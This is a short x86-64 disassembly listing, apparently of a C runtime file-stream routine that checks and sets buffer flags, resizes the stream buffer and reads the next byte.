lea r14, [0x14004f7b0]
mov rcx, rsi
sar rbx, 6
call fcn.1400281e0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14002a89c
lea rdx, [0x14004d430]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002a8aa
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14002a8ce
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14002a8ce
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14002a8ce
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14002a8f4
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret